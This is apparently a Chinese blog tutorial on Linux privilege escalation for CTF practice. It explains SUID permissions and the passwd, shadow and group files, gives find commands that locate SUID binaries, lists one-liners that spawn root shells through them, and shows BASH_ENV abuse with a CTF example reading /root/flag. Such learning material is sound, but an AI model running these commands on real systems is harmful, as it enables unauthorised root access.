我要学提权.jpg
SUID提权
什么是SUID
SUID(set uid)是linux中的一种特殊权限,可以让调用者以文件拥有者的身份运行该文件,而非调用者身份。于是运行root用户所拥有的suid的文件,执行该文件时就可以获得root用户的身份了。
Linux系统中引入了3个文件来管理用户组:
1.**/etc/passwd
**:
存储用户的基本信息。
每个用户对应一行信息,共有7个字段用冒号隔开。
用户名:口令:用户标识号(UID):组标识号(GID):注释性内容:主目录:登录Shell
现在许多Linux系统(如SVR4)都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”
登录Shell是用户登录时的默认Shell。例如
/bin/bash
(可登录),或/sbin/nologin
(不允许登录)。

2./etc/shadow
:
- 专门存储用户的密码信息(加密后的密码)。
- 只有root用户或具有足够权限的用户可以访问这个文件。
3./etc/group
:
- 存储系统中所有组的信息,例如组名、组ID(GID)以及组内的成员。
查找已有SUID权限的文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
1 | find / -perm -u=s -type f 2>/dev/null |
进行SUID提权
find命令提权
1 | #先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限 |
其他命令提权
suid文件 | 提权命令 |
---|---|
/usr/bin/bash | bash -p |
/usr/bin/csh | csh -b |
/usr/bin/sh | sh -p |
/usr/bin/ksh | ksh -p |
/usr/bin/zsh | zsh |
/usr/bin/find | find /etc/passwd -exec /bin/bash -p ; |
/usr/bin/awk | awk ‘BEGIN {system(“/bin/bash”)}’ |
/usr/bin/man | !/bin/bash |
/usr/bin/more | !/bin/bash |
$BASH_ENV变量提权
在Linux中,.bashrc用来初始化交互shell,而BASH_ENV用来初始化非交互shell。只要是在BASH_ENV变量中写入的语句,在每个shell脚本执行前,都会执行一次。于是我们可以通过该变量实现提权。
交互shell
shell与用户存在交互,用户登录后,在终端上输入命令,shell立即执行用户提交的命令。当用户退出后,shell也终止了。
非交互shell
即shell与用户不存在交互,而是以shell script的方式执行的。shell读取存放在文件中的命令,并且执行。当它读到文件的结尾EOF时,shell也就终止了。
步骤如下:
1.得到一个Linux管理员使用su命令的账户
2.定义BASH_ENV变量
3.执行脚本
例子(2025ACTF《Hard guess》)
利用此处进行提权。
1 | $ BASH_ENV='$(cat /root/flag 1>&2)' |